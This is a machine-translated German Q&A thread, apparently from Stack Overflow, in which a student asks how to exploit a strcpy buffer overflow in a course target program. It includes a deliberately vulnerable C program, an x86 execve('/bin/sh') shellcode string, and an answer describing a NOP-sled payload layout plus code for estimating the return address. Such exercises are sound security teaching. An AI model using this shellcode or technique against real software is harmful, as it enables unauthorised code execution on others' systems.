Frage

Ich versuche, herauszufinden, dieses Problem für ein meine comp sci Klassen habe ich alle Ressourcen genutzt und immer noch mit Problemen, wenn jemand einen Einblick bieten kann ich es sehr schätzen würde.

Ich habe dieses „Ziel“ Ich brauche nutzen, um eine execve ( „/ bin / sh“) mit dem Pufferüberlauf auszuführen. In dem Überlauf von buf [128], wenn die unsicheren Befehl strcpy ausführt, erscheint ein Zeiger zurück in den Puffer in der Stelle, wo das System erwartet Rückkehradresse zu finden.

target.c

int bar(char *arg, char *out)
{
 strcpy(out,arg);
 return 0;
}

int foo(char *argv[])
{
 char buf[128];
 bar(argv[1], buf);
}

int main(int argc, char *argv[])
{
 if (argc != 2)
 {
  fprintf(stderr, "target: argc != 2");
  exit(EXIT_FAILURE);
 }
 foo(argv);
 return 0;
}

exploit.c

#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
  char *args[3];
  char *env[1];

  args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

shellcode.h

static char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

Ich verstehe, ich brauche zu füllen argv [1] mit mehr als 128 Byte, das Bytes über 128 die Absenderadresse zu sein, die spitz zulauf zurück in den Puffer sein sollten, damit es das / ist / sh führt innerhalb. Ist das so weit richtig? Kann jemand den nächsten Schritt zur Verfügung stellen?

Vielen Dank für jede Hilfe.

War es hilfreich?

Lösung

Nun, so wollen Sie das Programm Ihre Shellcode auszuführen. Es ist bereits in Maschinenform, so dass es bereit ist, vom System ausgeführt werden. Sie haben es in einem Puffer gespeichert. So wäre die Frage „Wie funktioniert das System weiß, dass mein Code ausführen?“ Genauer gesagt: „Wie weiß das System, in dem der nächste Code suchen ausgeführt werden?“ Die Antwort ist in diesem Fall die Absenderadresse über Sie reden.

Im Grunde sind Sie auf dem richtigen Weg. Haben Sie versucht, den Code ausführt? Eine Sache, die ich bemerkt habe, wenn diese Art von Exploit Durchführung ist, dass es keine exakte Wissenschaft. Manchmal gibt es andere Dinge in Erinnerung, dass Sie nicht da sein erwarten, so dass Sie die Anzahl der Bytes erhöhen müssen Sie in Ihrem Puffer korrekt hinzufügen, um richten Sie die Absenderadresse mit dem das System erwartet, es zu sein.

Ich bin kein Spezialist in Sicherheit, aber ich kann Ihnen ein paar Dinge, die helfen könnte sagen. Einer ist, dass ich in der Regel einen ‚NOP-Schlitten‘ umfasst - im Wesentlichen nur eine Reihe von 0x90 Bytes, die nichts tun außer ausführen ‚NOP‘ Anweisungen auf dem Prozessor. Ein weiterer Trick ist die Absenderadresse am Ende des Puffers zu wiederholen, dass dann, wenn er selbst einer von ihnen die Rücksprungadresse auf dem Stack überschreibt, haben Sie eine erfolgreiche Rückkehr in, wo Sie wollen.

So, Ihr Puffer wird wie folgt aussehen:

| NOP SLED | Shellcode | Wiederholte RÜCKS |

(Hinweis: Das ist nicht meine Gedanken, ich habe sie von Hacking. Die Kunst der Ausbeutung, von Jon Erickson mir dieses Buch empfehlen, wenn Sie in dem Lernen mehr über diese interessiert sind).

Um die Adresse zu berechnen, Sie etwas ähnlich der folgenden verwenden:

unsigned long sp(void) 
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer

int main(int argc, char *argv[])
{
    int i, offset;
    long esp, ret, *addr_ptr;
    char* buffer;

    offset = 0;
    esp = sp();
    ret = esp - offset;
}

Nun ret wird die Absenderadresse halten Sie zurückkehren wollen, vorausgesetzt, dass Sie zuteilen Puffer auf dem Heap sein.

Lizenziert unter: CC-BY-SA mit Zuschreibung
Nicht verbunden mit StackOverflow
scroll top